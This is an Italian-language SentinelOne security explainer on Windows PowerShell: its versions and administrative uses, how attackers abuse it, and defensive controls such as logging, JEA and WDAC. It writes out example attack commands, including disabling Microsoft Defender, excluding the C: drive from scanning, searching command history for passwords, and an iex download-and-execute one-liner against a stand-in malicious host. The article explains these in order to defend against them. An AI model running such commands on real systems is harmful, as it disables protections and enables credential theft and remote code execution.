Skip to main content
Sicurezza informatica

Che cos'è Windows PowerShell?

Windows PowerShell è un potente strumento di automazione. Scoprite le sue implicazioni per la sicurezza e come usarlo in modo sicuro nel vostro ambiente.

Di SentinelOne
Che cos'è Windows PowerShell?

Windows PowerShell è un potente linguaggio di scripting e una shell a riga di comando per automatizzare le attività e gestire le configurazioni. Questa guida esplora le funzionalità di PowerShell, incluso il suo ruolo nell'amministrazione dei sistemi e nella sicurezza.

Scoprite i comandi più comuni di PowerShell, le best practice per gli script e come usare PowerShell per la cybersecurity. Conoscere PowerShell è essenziale per i professionisti IT e della sicurezza.

Windows PowerShell - Featured Image | SentinelOne

Che impatto può avere PowerShell sulle risorse preziose della vostra azienda? Scoprite le basi di PowerShell, perché attira gli hacker & come proteggere l'azienda

Microsoft PowerShell è una shell a riga di comando e un linguaggio di scripting usato per automatizzare le attività e gestire i sistemi basati su Windows. Gli amministratori e i professionisti della sicurezza lo usano spesso per automatizzare le attività di routine, gestire e monitorare i sistemi e automatizzare le risposte agli incidenti di sicurezza. Gli aggressori usano spesso PowerShell per ottenere accessi non autorizzati ai sistemi ed eseguire codice dannoso.

Microsoft PowerShell è disponibile su Windows fin dal 2006, ma oggi è la shell dei comandi di File Explorer su Windows 10 e ha in gran parte sostituito il vecchio strumento cmd.exe. Sebbene gli utenti comuni lo considerino spesso difficile da comprendere, PowerShell è diventato essenziale per i team IT e gli amministratori di rete grazie alla sua flessibilità e potenza. In questa guida introduttiva spiegheremo le basi di PowerShell, perché attira gli hacker e gli autori di malware e cosa potete fare per proteggere la vostra organizzazione.

Scegliete la versione più adatta

Se digitate ‘PowerShell’ nel campo di ricerca di Cortana, vedrete due opzioni: PowerShell ISE e l'app desktop PowerShell. Inoltre, se fate clic con il pulsante destro del mouse sul menu Start o sull'icona di una delle due versioni di PowerShell nella barra delle applicazioni, vedrete che potete avviarle in due modi: come utente corrente o come amministratore.

A screenshot image of Window

Gli amministratori che vogliono automatizzare attività comuni useranno probabilmente l'interfaccia ISE per sviluppare moduli e script PowerShell. Per l'uso interattivo, invece, la maggior parte sceglierà l'app desktop PowerShell, avviandola come amministratore o come utente corrente in base all'attività.

Potreste anche sentir parlare di PowerShell Core, una versione open source multipiattaforma che funziona non solo su Windows, ma anche su Linux e macOS:

A screenshot image of Macintosh HD scripts

Fate però attenzione: viene installato come file binario non firmato e potrebbe essere facilmente sostituito da una versione dannosa. Se avete endpoint che usano PowerShell Core, assicuratevi che la vostra organizzazione lo firmi con un certificato appropriato o esegua controlli shasum regolari per verificare che non sia stato manomesso.

Sebbene le versioni di PowerShell presentino alcune differenze nelle funzionalità, tutte possono eseguire sessioni remote tramite SSH e interagire con un'ampia varietà di processi e servizi. PowerShell può persino interagire con il registro di Windows e il registro eventi. Questo significa che anche un avversario con accesso a PowerShell dispone delle stesse possibilità.

Sfruttate tutta la potenza

Potete iniziare a esplorare le funzionalità di PowerShell con due semplici comandi:

Get-Module -ListAvailable

per elencare i moduli disponibili, e

Get-Command

per elencare i comandi disponibili:

Window

Vediamo rapidamente alcuni esempi. Supponiamo che voi, o un avversario, stiate esplorando una directory di documenti e vogliate individuare rapidamente contenuti interessanti. Il comando seguente mostra le prime e le ultime due righe di ogni file di testo nella directory, esplorando ricorsivamente le sottodirectory e includendo i file nascosti o invisibili. Invia poi l'output a un altro file di testo, da consultare o recuperare in seguito:

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

Se qualcuno cercasse documenti che iniziano con “Riservato” o terminano con la qualifica dell'autore, come “Direttore finanziario”, questo sarebbe un modo rapido, anche se poco raffinato, per individuare i file interessanti.

Per eliminare un elemento, magari per cancellare le tracce di un'intrusione, basta usare

Remove-Item <path>

PowerShell permette inoltre di intervenire sul sistema operativo in modi interessanti e, purtroppo, pericolosi. Se un autore di malware vuole aggirare il motore antivirus Microsoft Defender preinstallato, può eseguire un comando PowerShell con i privilegi appropriati per disabilitarlo:

Set-MpPreference -DisableRealTimeMonitoring $true

oppure, in modo meno evidente, escludere un'unità o un percorso dalla scansione:

Add-MpPreference -ExclusionPath “c:”

PowerShell semplifica anche operazioni come l'elenco delle unità di rete e la consultazione del registro eventi, utili agli aggressori per trovare informazioni sfruttabili, rispettivamente con Get-PSDrive e Get-EventLog.

A screenshot image of Window

Una funzionalità utile sia agli utenti sia agli attori malevoli è la possibilità di leggere la cronologia dei comandi immessi interattivamente nella riga di comando, inclusi gli argomenti passati. La cronologia è archiviata nel percorso restituito da questo comando:

(Get-PSReadLineOption).HistorySavePath

e possiamo usare cat e il cmdlet Select-String (o il suo alias sls) per cercare efficacemente nella cronologia gli elementi interessanti (per esempio le password!):

A screenshot of Tweet that Nikhil Mittal

Script & exploit kit

Tuttavia, la riga di comando non offre agli attori malevoli le opportunità più interessanti di PowerShell. Più pericolosa è la capacità di PowerShell di eseguire script sia in memoria (i cosiddetti attacchi malware “fileless”) sia dal disco. In entrambi i casi, gli script possono essere eseguiti direttamente su un host o da remoto.

Come il comando eval della shell Unix, PowerShell dispone di Invoke-Expression (e del suo alias iex), che permette di scaricare ed eseguire uno script dannoso in memoria. Possiamo aggiungere Bypass per tentare di aggirare una policy di esecuzione restrittiva:

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

Non sorprende che siano comparsi rapidamente interi framework di exploit capaci di sfruttare appieno il potenziale di PowerShell.

Il primo tra questi è PowerSploit, una raccolta di script PowerShell utilizzabili per manipolare e controllare il computer di una vittima.

A screenshot image of AntivirusBypass scripts

PowerShell Empire si basa sul lavoro di PowerSploit e di diversi altri progetti per creare uno strumento di post-exploitation capace di eludere il rilevamento in rete, eseguire keylogger e avviare altri moduli come Mimikatz per estrarre password in chiaro, hash delle password e altri dati direttamente dalla memoria.

Screenshot image of PowerShell post-exploitation Empire

La crescita degli attacchi basati su PowerShell

La creazione di script e comandi PowerShell eseguibili da altri tipi di file Windows, .exe, .bat, .wsf e .LNK è uno dei motivi per cui il malware basato su PowerShell è aumentato negli ultimi anni. Secondo una stima che attribuisce agli exploit di PowerShell quasi il 40% degli incidenti legati al malware, non c'è dubbio che gli avversari lo usino in campagne molto diverse, dal ransomware al furto di credenziali e ai trojan bancari. PowerShell è stato coinvolto anche in frodi sui clic, intercettazione di password ed esfiltrazione di dati.

DNSMessenger è un malware individuato mentre si diffondeva tramite una macro in un documento Word. Usa ingegnosamente il codice sorgente VBA per trasmettere comandi PowerShell codificati, ottenere persistenza, distribuire il payload e comunicare con un server C&C.

Sorprendentemente, alcuni attacchi PowerShell non richiedono nemmeno il file PowerShell.exe integrato. Strumenti come PowerShdll e InsecurePowerShell eseguono gli script direttamente sfruttando System.Management.Automation.dll, su cui si basa il binario di PowerShell. In breve, l'eseguibile PowerShell è soltanto un host o un wrapper per il codice effettivo contenuto nella libreria a collegamento dinamico. Gli attacchi possono sfruttare questa caratteristica per far eseguire script e comandi PowerShell praticamente a qualsiasi processo.

Altri usi creativi di PowerShell includono l'incorporamento di uno script PowerShell nei pixel di un file PNG e la generazione di un comando di una sola riga per eseguirlo tramite Invoke-PSImage, oppure la conversione di script PowerShell in file EXE con strumenti come PS2EXE.

Gestire PowerShell

A questo punto dovrebbe essere chiaro che bloccare semplicemente PowerShell.exe sarebbe inutile, oltre a creare notevoli difficoltà agli amministratori di sistema che fanno affidamento sulle sue funzionalità. È importante capire che PowerShell e le DLL su cui si basa sono parti integranti del sistema operativo Windows. Con l'arrivo di PowerShell Core, queste funzionalità si estendono anche alla gestione multipiattaforma, che le aziende potrebbero considerare essenziale.

Una soluzione efficace per le aziende che devono gestire la duplice natura di PowerShell è SentinelOne, che analizza il comportamento dei processi in esecuzione sull'endpoint. Questo approccio è efficace perché i processi si comportano in modo simile indipendentemente da come vengono implementati gli attacchi malware. L'agente SentinelOne monitora tutte le attività sull'agente per distinguere quelle dannose da quelle innocue. Poiché l'agente dispone già del contesto completo: utenti, processi, argomenti della riga di comando, registro, file su disco e comunicazioni esterne, le attività dannose possono essere contrastate indipendentemente dalla loro origine.


Vi è piaciuto questo articolo? Seguiteci su LinkedIn, Twitter, YouTube o Facebook per vedere i contenuti che pubblichiamo.

Scoprite di più sulla sicurezza di Windows

Callout Background Image Gradient

Cybersicurezza alimentata dall'intelligenza artificiale

Elevate la vostra posizione di sicurezza con il rilevamento in tempo reale, la risposta automatica e la visibilità totale dell'intero ambiente digitale.

Domande frequenti su Windows PowerShell

Windows PowerShell è una shell a riga di comando e un linguaggio di scripting di Microsoft basato su .NET Framework. Consente di usare i cmdlet, semplici comandi nel formato verbo-sostantivo, per automatizzare attività come la gestione del file system, del registro e dei servizi.

PowerShell gestisce e restituisce oggetti anziché testo semplice, così potete passare dati strutturati da un cmdlet al successivo tramite pipeline. Supporta inoltre l'amministrazione remota, i moduli e la guida integrata nella console per la gestione dei sistemi.

A differenza del vecchio CMD, PowerShell usa cmdlet nel formato verbo-sostantivo e lavora con oggetti .NET anziché con flussi di testo. Potete quindi concatenare i comandi tramite pipeline senza dover analizzare il testo. Gli script PowerShell possono chiamare direttamente le API .NET, gestire gli errori in modo più avanzato e usare i moduli.

Le shell tradizionali gestiscono solo testo semplice e script batch di base, mentre PowerShell offre un ambiente di scripting completo per l'automazione e la configurazione.

La profonda integrazione di PowerShell con il sistema e le sue capacità di scripting lo rendono uno strumento apprezzato sia dagli amministratori sia dagli attaccanti. Gli attori delle minacce usano tecniche fileless, eseguendo script in memoria, per eludere il rilevamento.

PowerShell può disabilitare le difese, scaricare codice dannoso o sottrarre credenziali senza scrivere sul disco. Poiché è onnipresente in Windows, i team di sicurezza devono considerare le attività di PowerShell ad alto rischio e monitorarle attentamente per individuare eventuali abusi.

Secondo uno studio di Cisco, PowerShell è stato coinvolto in oltre un terzo delle minacce critiche alla sicurezza degli endpoint. Carbon Black ha rilevato abusi di PowerShell nel 38% degli incidenti, spesso in attività successive alla compromissione, come il movimento laterale o il furto di credenziali.

Sebbene il suo utilizzo normale sia limitato, PowerShell compare in circa un evento dannoso confermato su quattordici.

Abilitate tutti i log di PowerShell: quelli dei moduli, dei blocchi di script e delle trascrizioni. Impostate la dimensione dei log ad almeno 150 MB e raccogliete gli eventi da

Microsoft-Windows-PowerShell/Operational e PowerShellCore/Operational. Inviate i log a SIEM o XDR. Bloccate gli script avviati da processi padre non attendibili e limitate l'esecuzione ai soli script firmati. Attivate Protected Event Logging per ottenere maggiori dettagli.

Usate Just Enough Administration (JEA) per limitare l'accesso degli utenti ai soli cmdlet approvati. Applicate la modalità linguaggio vincolato per disabilitare COM, WMI e le espressioni complesse. Distribuite policy di Application Control (ad esempio, WDAC) per autorizzare solo gli script firmati.

Mantenete PowerShell aggiornato alla versione 5.1 o successiva. Rivedete e ottimizzate regolarmente le impostazioni dei log per assicurarvi che ogni esecuzione di script venga registrata.

Bloccare completamente PowerShell può compromettere la gestione dei sistemi e l'amministrazione remota. Microsoft sconsiglia di rimuoverlo del tutto. Limitatene invece l'esecuzione agli amministratori autorizzati, applicate controlli sulle applicazioni e impedite che PowerShell venga avviato da processi padre non attendibili, come le applicazioni Office.

Insieme alla registrazione dei log e al monitoraggio, questi controlli bloccano la maggior parte degli usi dannosi senza ostacolare le attività legittime.

PowerShell vi permette di automatizzare la risposta agli incidenti, raccogliere rapidamente dati forensi e cercare le minacce. Potete scrivere script per raccogliere in pochi minuti artefatti del registro, elenchi di processi e connessioni di rete. Conoscere PowerShell aiuta anche a comprendere le tecniche degli attaccanti, dato che molti strumenti usati dopo la compromissione (Empire, Cobalt Strike) si basano su PowerShell.

Gli script PowerShell possono raccogliere dati dalla memoria attiva, dalle chiavi Run del registro, dai log degli eventi e dalla rete per il triage. Strumenti della community come DFIR-Script automatizzano la raccolta delle prove dagli endpoint. Chi si occupa di Threat Hunting usa PowerShell per cercare blocchi di script dannosi negli eventi Windows con ID 4104, analizzare l'output e inviare i risultati ai playbook SOAR. PowerShell è quindi una componente fondamentale dei processi di rilevamento, contenimento e ripristino.

Scopri di più su Sicurezza informatica

Decorative background gradient

Scopri la piattaforma di cybersecurity più avanzata

Scopri come la piattaforma di cybersecurity autonoma e più intelligente al mondo può proteggere la tua organizzazione oggi e in futuro.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text